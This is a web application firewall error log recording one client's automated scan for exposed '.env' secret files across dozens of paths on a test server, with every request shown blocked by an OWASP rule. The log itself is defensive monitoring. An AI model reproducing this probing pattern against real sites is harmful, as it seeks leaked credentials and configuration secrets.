[Wed Feb 25 06:05:15.490975 2026] [:error] [pid 2312955] [client 185.177.72.13:51818] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/icons/.env&quot;] [unique_id &quot;aZ6DC-TWwZsZM3_RktVDWAAAAAU&quot;]
[Wed Feb 25 06:05:15.491176 2026] [:error] [pid 2312955] [client 185.177.72.13:51818] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/icons/.env&quot;] [unique_id &quot;aZ6DC-TWwZsZM3_RktVDWAAAAAU&quot;]
[Wed Feb 25 06:05:15.499090 2026] [:error] [pid 2312882] [client 185.177.72.13:16406] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /layout/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/layout/.env&quot;] [unique_id &quot;aZ6DC7Zegw_qLbSTRXm5sgAAAAM&quot;]
[Wed Feb 25 06:05:15.499356 2026] [:error] [pid 2312882] [client 185.177.72.13:16406] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/layout/.env&quot;] [unique_id &quot;aZ6DC7Zegw_qLbSTRXm5sgAAAAM&quot;]
[Wed Feb 25 06:05:15.499530 2026] [:error] [pid 2312882] [client 185.177.72.13:16406] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/layout/.env&quot;] [unique_id &quot;aZ6DC7Zegw_qLbSTRXm5sgAAAAM&quot;]
[Wed Feb 25 06:05:15.521630 2026] [:error] [pid 2312955] [client 185.177.72.13:51818] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /ikiwiki/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ikiwiki/.env&quot;] [unique_id &quot;aZ6DC-TWwZsZM3_RktVDWQAAAAU&quot;]
[Wed Feb 25 06:05:15.521887 2026] [:error] [pid 2312955] [client 185.177.72.13:51818] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ikiwiki/.env&quot;] [unique_id &quot;aZ6DC-TWwZsZM3_RktVDWQAAAAU&quot;]
[Wed Feb 25 06:05:15.522059 2026] [:error] [pid 2312955] [client 185.177.72.13:51818] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ikiwiki/.env&quot;] [unique_id &quot;aZ6DC-TWwZsZM3_RktVDWQAAAAU&quot;]
[Wed Feb 25 06:05:15.544528 2026] [:error] [pid 2312882] [client 185.177.72.13:16406] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /lcomernbootcamp/projbackend/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/lcomernbootcamp/projbackend/.env&quot;] [unique_id &quot;aZ6DC7Zegw_qLbSTRXm5swAAAAM&quot;]
[Wed Feb 25 06:05:15.544791 2026] [:error] [pid 2312882] [client 185.177.72.13:16406] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/lcomernbootcamp/projbackend/.env&quot;] [unique_id &quot;aZ6DC7Zegw_qLbSTRXm5swAAAAM&quot;]
[Wed Feb 25 06:05:15.544965 2026] [:error] [pid 2312882] [client 185.177.72.13:16406] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/lcomernbootcamp/projbackend/.env&quot;] [unique_id &quot;aZ6DC7Zegw_qLbSTRXm5swAAAAM&quot;]
[Wed Feb 25 06:05:15.573991 2026] [:error] [pid 2312955] [client 185.177.72.13:51818] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /image_data/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/image_data/.env&quot;] [unique_id &quot;aZ6DC-TWwZsZM3_RktVDWgAAAAU&quot;]
[Wed Feb 25 06:05:15.574254 2026] [:error] [pid 2312955] [client 185.177.72.13:51818] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/image_data/.env&quot;] [unique_id &quot;aZ6DC-TWwZsZM3_RktVDWgAAAAU&quot;]
[Wed Feb 25 06:05:15.574442 2026] [:error] [pid 2312955] [client 185.177.72.13:51818] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/image_data/.env&quot;] [unique_id &quot;aZ6DC-TWwZsZM3_RktVDWgAAAAU&quot;]
[Wed Feb 25 06:05:15.574463 2026] [:error] [pid 2312882] [client 185.177.72.13:16406] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /leafer-app/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/leafer-app/.env&quot;] [unique_id &quot;aZ6DC7Zegw_qLbSTRXm5tAAAAAM&quot;]
[Wed Feb 25 06:05:15.574710 2026] [:error] [pid 2312882] [client 185.177.72.13:16406] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/leafer-app/.env&quot;] [unique_id &quot;aZ6DC7Zegw_qLbSTRXm5tAAAAAM&quot;]
[Wed Feb 25 06:05:15.574870 2026] [:error] [pid 2312882] [client 185.177.72.13:16406] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/leafer-app/.env&quot;] [unique_id &quot;aZ6DC7Zegw_qLbSTRXm5tAAAAAM&quot;]
[Wed Feb 25 06:05:15.611769 2026] [:error] [pid 2312955] [client 185.177.72.13:51818] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /imagebord/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Imagebord/.env&quot;] [unique_id &quot;aZ6DC-TWwZsZM3_RktVDWwAAAAU&quot;]
[Wed Feb 25 06:05:15.612045 2026] [:error] [pid 2312955] [client 185.177.72.13:51818] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Imagebord/.env&quot;] [unique_id &quot;aZ6DC-TWwZsZM3_RktVDWwAAAAU&quot;]
[Wed Feb 25 06:05:15.612225 2026] [:error] [pid 2312955] [client 185.177.72.13:51818] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Imagebord/.env&quot;] [unique_id &quot;aZ6DC-TWwZsZM3_RktVDWwAAAAU&quot;]
[Wed Feb 25 06:05:15.638550 2026] [:error] [pid 2312882] [client 185.177.72.13:16406] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /ledger_sync/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ledger_sync/.env&quot;] [unique_id &quot;aZ6DC7Zegw_qLbSTRXm5tQAAAAM&quot;]
[Wed Feb 25 06:05:15.638821 2026] [:error] [pid 2312882] [client 185.177.72.13:16406] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ledger_sync/.env&quot;] [unique_id &quot;aZ6DC7Zegw_qLbSTRXm5tQAAAAM&quot;]
[Wed Feb 25 06:05:15.638999 2026] [:error] [pid 2312882] [client 185.177.72.13:16406] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ledger_sync/.env&quot;] [unique_id &quot;aZ6DC7Zegw_qLbSTRXm5tQAAAAM&quot;]
[Wed Feb 25 06:05:15.658595 2026] [:error] [pid 2312955] [client 185.177.72.13:51818] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /images/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/images/.env&quot;] [unique_id &quot;aZ6DC-TWwZsZM3_RktVDXAAAAAU&quot;]
[Wed Feb 25 06:05:15.658863 2026] [:error] [pid 2312955] [client 185.177.72.13:51818] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/images/.env&quot;] [unique_id &quot;aZ6DC-TWwZsZM3_RktVDXAAAAAU&quot;]
[Wed Feb 25 06:05:15.659030 2026] [:error] [pid 2312955] [client 185.177.72.13:51818] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/images/.env&quot;] [unique_id &quot;aZ6DC-TWwZsZM3_RktVDXAAAAAU&quot;]
[Wed Feb 25 06:05:15.748593 2026] [:error] [pid 2312955] [client 185.177.72.13:51818] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /img/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/img/.env&quot;] [unique_id &quot;aZ6DC-TWwZsZM3_RktVDXQAAAAU&quot;]
[Wed Feb 25 06:05:15.748891 2026] [:error] [pid 2312955] [client 185.177.72.13:51818] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/img/.env&quot;] [unique_id &quot;aZ6DC-TWwZsZM3_RktVDXQAAAAU&quot;]
[Wed Feb 25 06:05:15.749075 2026] [:error] [pid 2312955] [client 185.177.72.13:51818] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/img/.env&quot;] [unique_id &quot;aZ6DC-TWwZsZM3_RktVDXQAAAAU&quot;]
[Wed Feb 25 06:05:15.771846 2026] [:error] [pid 2312882] [client 185.177.72.13:16406] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /legal/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/legal/.env&quot;] [unique_id &quot;aZ6DC7Zegw_qLbSTRXm5uAAAAAM&quot;]
[Wed Feb 25 06:05:15.772121 2026] [:error] [pid 2312882] [client 185.177.72.13:16406] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/legal/.env&quot;] [unique_id &quot;aZ6DC7Zegw_qLbSTRXm5uAAAAAM&quot;]
[Wed Feb 25 06:05:15.772299 2026] [:error] [pid 2312882] [client 185.177.72.13:16406] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/legal/.env&quot;] [unique_id &quot;aZ6DC7Zegw_qLbSTRXm5uAAAAAM&quot;]
[Wed Feb 25 06:05:15.824074 2026] [:error] [pid 2312882] [client 185.177.72.13:16406] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /lemonldap-ng-doc/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/lemonldap-ng-doc/.env&quot;] [unique_id &quot;aZ6DC7Zegw_qLbSTRXm5uQAAAAM&quot;]
